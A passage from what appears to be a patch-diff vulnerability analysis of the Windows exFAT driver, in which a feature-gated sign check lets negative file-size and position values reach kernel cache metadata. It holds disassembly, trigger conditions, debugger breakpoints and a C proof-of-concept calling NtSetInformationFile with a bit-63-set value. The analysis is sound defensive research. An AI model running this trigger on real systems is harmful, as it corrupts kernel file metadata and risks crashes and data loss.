&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0041561:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x110&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; FCB-&amp;gt;ValidDataLength&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; ... then CcSetFileSizes / FsRtlNotifyFullReportChange ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;PATCHED:&lt;/strong&gt; The &lt;code&gt;call Feature_1337404728__private_IsEnabledDeviceUsage&lt;/code&gt; is removed entirely; &lt;code&gt;test rdi, rdi; jns proceed; mov edi,0xC000000D&lt;/code&gt; becomes unconditional.&lt;/p&gt;
&lt;h3&gt;Feature-gate helper &lt;code&gt;Feature_1337404728__private_IsEnabledDeviceUsage (sub_1C000A6A0)&lt;/code&gt; (the function the patch removes calls to)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6aa:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;Feature_1337404728__private_featureState&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; global feature dword&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6b4:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; bit 4 set (cached value present)?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6b6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c000a6bd&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; not cached -&amp;gt; query feature index 3 (Feature_1337404728__private_IsEnabledFallback @ 0x1C000A684)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c000a6b8:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; cached -&amp;gt; return bit 0&lt;/span&gt;
&lt;span class="c1"&gt;; resolves to FALSE (not-enabled) on the affected systems&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;FppSetAllocationInfo (sub_1C0040F74)&lt;/code&gt; — FileAllocationInformation handler&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;UNPATCHED:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;Feature_1337404728__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c0040fe4&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;; flag OFF -&amp;gt; skip sign check&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="nf"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0040fe4&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc000000d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;PATCHED:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="nf"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0040fce&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc000000d&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;; unconditional&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;FppCommonSetInformation (sub_1C003E3A4)&lt;/code&gt; — inline FilePositionInformation (case 0x0e)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;UNPATCHED:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; &amp;amp;SystemBuffer-&amp;gt;CurrentByteOffset path&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;Feature_1337404728__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; feature gate&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c003e7bb&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; flag OFF -&amp;gt; take accept branch&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;
&lt;span class="nf"&gt;jl&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c003e742&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; sign check only reached when flag ON&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;PATCHED:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="nf"&gt;js&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c003e742&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; unconditional negative rejection&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Target access.&lt;/strong&gt; Open a file residing on an exFAT-formatted volume. The handle must grant &lt;code&gt;GENERIC_WRITE&lt;/code&gt; (or at minimum &lt;code&gt;FILE_WRITE_DATA | FILE_WRITE_ATTRIBUTES&lt;/code&gt;). Any user with write access to such a file qualifies; no admin rights strictly required.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature must resolve to not-enabled&lt;/strong&gt; (the bypass condition). &lt;code&gt;Feature_1337404728__private_IsEnabledDeviceUsage&lt;/code&gt; @ &lt;code&gt;0x1C000A6A0&lt;/code&gt; must return &lt;code&gt;FALSE&lt;/code&gt; (feature dword &lt;code&gt;Feature_1337404728__private_featureState&lt;/code&gt; bit 4 clear and velocity feature index 3 not enabled). That the patched build retires this feature and makes the check permanent indicates this was the effective state prior to the fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Build the input buffer.&lt;/strong&gt; Construct a &lt;code&gt;FILE_END_OF_FILE_INFORMATION&lt;/code&gt; (8 bytes) with &lt;code&gt;EndOfFile.QuadPart&lt;/code&gt; having bit 63 set. The most reliable value is &lt;code&gt;0xFFFFFFFFFFFFFFFF&lt;/code&gt; because it also defeats the upstream signed-overflow guard (&lt;code&gt;validDataLen+1+(-1) == validDataLen&lt;/code&gt;, not &lt;code&gt;&amp;lt; -1&lt;/code&gt;). Alternative valid trigger values: &lt;code&gt;0x8000000000000000&lt;/code&gt;, or any other bit-63-set value.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Issue the syscall.&lt;/strong&gt; &lt;code&gt;NtSetInformationFile(hFile, &amp;amp;iosb, &amp;amp;eoi, sizeof(eoi), FileEndOfFileInformation /*0x14*/)&lt;/code&gt;. Equivalent triggers:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileAllocationInformation (0x13)&lt;/code&gt; with &lt;code&gt;AllocationSize.QuadPart&lt;/code&gt; bit-63-set, or&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FilePositionInformation (0x0e)&lt;/code&gt; with &lt;code&gt;CurrentByteOffset.QuadPart&lt;/code&gt; bit-63-set (then issue a read/write to materialize the OOB offset).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File must not be mapped&lt;/strong&gt; by another process at the time of the EOF/Allocation call (&lt;code&gt;MmCanCanFileBeTruncated&lt;/code&gt; must permit the extend/truncate). Simplest: use a regular file opened normally, no mapped sections.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No race or timing constraints&lt;/strong&gt; for the corruption step itself. The damage cascades during cache teardown, subsequent I/O, or close.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable confirmation.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;On the unpatched binary the &lt;code&gt;NtSetInformationFile&lt;/code&gt; call returns &lt;code&gt;STATUS_SUCCESS&lt;/code&gt;; on the patched binary the same input returns &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;). This is the directly observable, demonstrable difference.&lt;/li&gt;
&lt;li&gt;In the debugger, &lt;code&gt;[rbx+0x20]&lt;/code&gt; (FCB FileSize) is observed equal to the attacker value (e.g. &lt;code&gt;0xFFFFFFFFFFFFFFFF&lt;/code&gt;) at &lt;code&gt;0x1c004154f&lt;/code&gt; on the unpatched binary; the patched binary rejects the input before this write.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive&lt;/h3&gt;
&lt;p&gt;The demonstrable primitive is the injection of an attacker-controlled, unchecked negative (bit-63-set / huge-when-unsigned) 64-bit value into kernel file-cache metadata:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EOF/Allocation paths: &lt;code&gt;FCB-&amp;gt;FileSize&lt;/code&gt; (and conditionally &lt;code&gt;AllocationSize&lt;/code&gt; / &lt;code&gt;ValidDataLength&lt;/code&gt;) are set to the attacker value and passed to &lt;code&gt;CcSetFileSizes&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Position path: &lt;code&gt;FileObject-&amp;gt;CurrentByteOffset&lt;/code&gt; is set to the attacker value.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Progression from this state to a concrete memory-corruption or privilege-escalation primitive would depend on downstream consumers of these fields. That progression is not traced in this diff and is not claimed here; the impact established by the binaries is the acceptance of an invalid size/offset into kernel metadata that the patched build rejects.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;For an analyst with WinDbg/KD attached to the &lt;strong&gt;unpatched&lt;/strong&gt; &lt;code&gt;exfat.sys&lt;/code&gt;:&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp exfat!FppSetEndOfFileInfo (sub_1C00412C4)             ; EOF handler entry — rcx=Context, rdx=IRP
bp exfat+0x41333                   ; load attacker EndOfFile into rdi
bp exfat+0x4136f                   ; feature-gate call (patch removes this)
bp exfat!Feature_1337404728__private_IsEnabledDeviceUsage (sub_1C000A6A0)             ; the feature gate itself
bp exfat+0x4154f                   ; FCB-&amp;gt;FileSize corruption write
bp exfat+0x41558                   ; FCB-&amp;gt;AllocationSize write
bp exfat+0x41561                   ; FCB-&amp;gt;ValidDataLength write
bp exfat!FppSetAllocationInfo (sub_1C0040F74)             ; Allocation handler (alternative trigger)
bp exfat+0x3E7A8                   ; FilePositionInformation inline path
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to Inspect&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stop&lt;/th&gt;
&lt;th&gt;Register/Memory&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;exfat+0x41333&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdi&lt;/code&gt; after &lt;code&gt;mov rdi, qword [rcx]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Should equal your injected value (e.g. &lt;code&gt;0xFFFFFFFFFFFFFFFF&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;exfat!Feature_1337404728__private_IsEnabledDeviceUsage (sub_1C000A6A0)&lt;/code&gt; exit (&lt;code&gt;+0xa6cc&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;eax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt; when the feature is not-enabled — confirms the bypass is active.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;exfat+0x4136f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;step once, then &lt;code&gt;r eax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;On unpatched default system: &lt;code&gt;eax=0&lt;/code&gt; → &lt;code&gt;je 0x41387&lt;/code&gt; taken.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;exfat+0x41378&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(only reached if flag ON)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;test rdi,rdi; jns&lt;/code&gt; is the dead-on-default code path.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;exfat+0x4154f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rbx&lt;/code&gt; = FCB; &lt;code&gt;[rbx+0x20]&lt;/code&gt; after step&lt;/td&gt;
&lt;td&gt;Confirms the corrupted FileSize write.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Also watch:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Feature_1337404728__private_featureState &amp;amp; 0x10&lt;/code&gt; — feature dword bit 4 (cached-value-present) state, which controls whether the gate returns the cached bit 0 or falls back to the velocity query.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[rbx+0x28]&lt;/code&gt;, &lt;code&gt;[rbx+0x110]&lt;/code&gt; — adjacent FCB size fields.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt; (IRP) at function entry → follow &lt;code&gt;dx-&amp;gt;AssociatedIrp.SystemBuffer&lt;/code&gt; (+0x18) to confirm the input.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Key Offsets&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1c0041333&lt;/code&gt; — &lt;code&gt;mov rdi, qword [rcx]&lt;/code&gt; — attacker size loaded.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c004133d&lt;/code&gt;–&lt;code&gt;0x1c0041366&lt;/code&gt; — overflow/max-size guards (bypassed for &lt;code&gt;-1&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c004136f&lt;/code&gt; — &lt;code&gt;call Feature_1337404728__private_IsEnabledDeviceUsage&lt;/code&gt; — &lt;strong&gt;the feature gate the patch removes&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0041376&lt;/code&gt; — &lt;code&gt;je 0x1c0041387&lt;/code&gt; — bypass jump (taken when flag OFF).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0041378&lt;/code&gt;–&lt;code&gt;0x1c004137b&lt;/code&gt; — &lt;code&gt;test rdi,rdi; jns&lt;/code&gt; — sign check, only effective when flag ON in unpatched.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c004154f&lt;/code&gt; / &lt;code&gt;0x1c0041558&lt;/code&gt; / &lt;code&gt;0x1c0041561&lt;/code&gt; — three FCB size-corruption writes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trigger Setup (User-Mode PoC Skeleton)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;winternl.h&amp;gt;&lt;/span&gt;

&lt;span class="c1"&gt;// FILE_END_OF_FILE_INFORMATION is just LARGE_INTEGER&lt;/span&gt;
&lt;span class="n"&gt;HRESULT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;PoC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hFile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IO_STATUS_BLOCK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iosb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LARGE_INTEGER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eoi&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eoi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;QuadPart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFFFFFFFFFFFll&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// bit 63 set&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;st&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NtSetInformationFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;hFile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;iosb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;eoi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eoi&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;FileEndOfFileInformation&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// 0x14&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// On unpatched, feature-not-enabled: st == 0 (STATUS_SUCCESS)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// On patched:                      st == 0xC000000D&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;st&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To obtain the handle:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFileW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;poc.txt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// X: must be exFAT&lt;/span&gt;
&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="n"&gt;GENERIC_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="n"&gt;CREATE_ALWAYS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="n"&gt;FILE_ATTRIBUTE_NORMAL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;PoC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;CloseHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Expected Observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;0x1c004136f&lt;/code&gt; → &lt;code&gt;0x1c0041376&lt;/code&gt;, the &lt;code&gt;je&lt;/code&gt; is taken on the unpatched binary when the feature resolves to not-enabled.&lt;/li&gt;
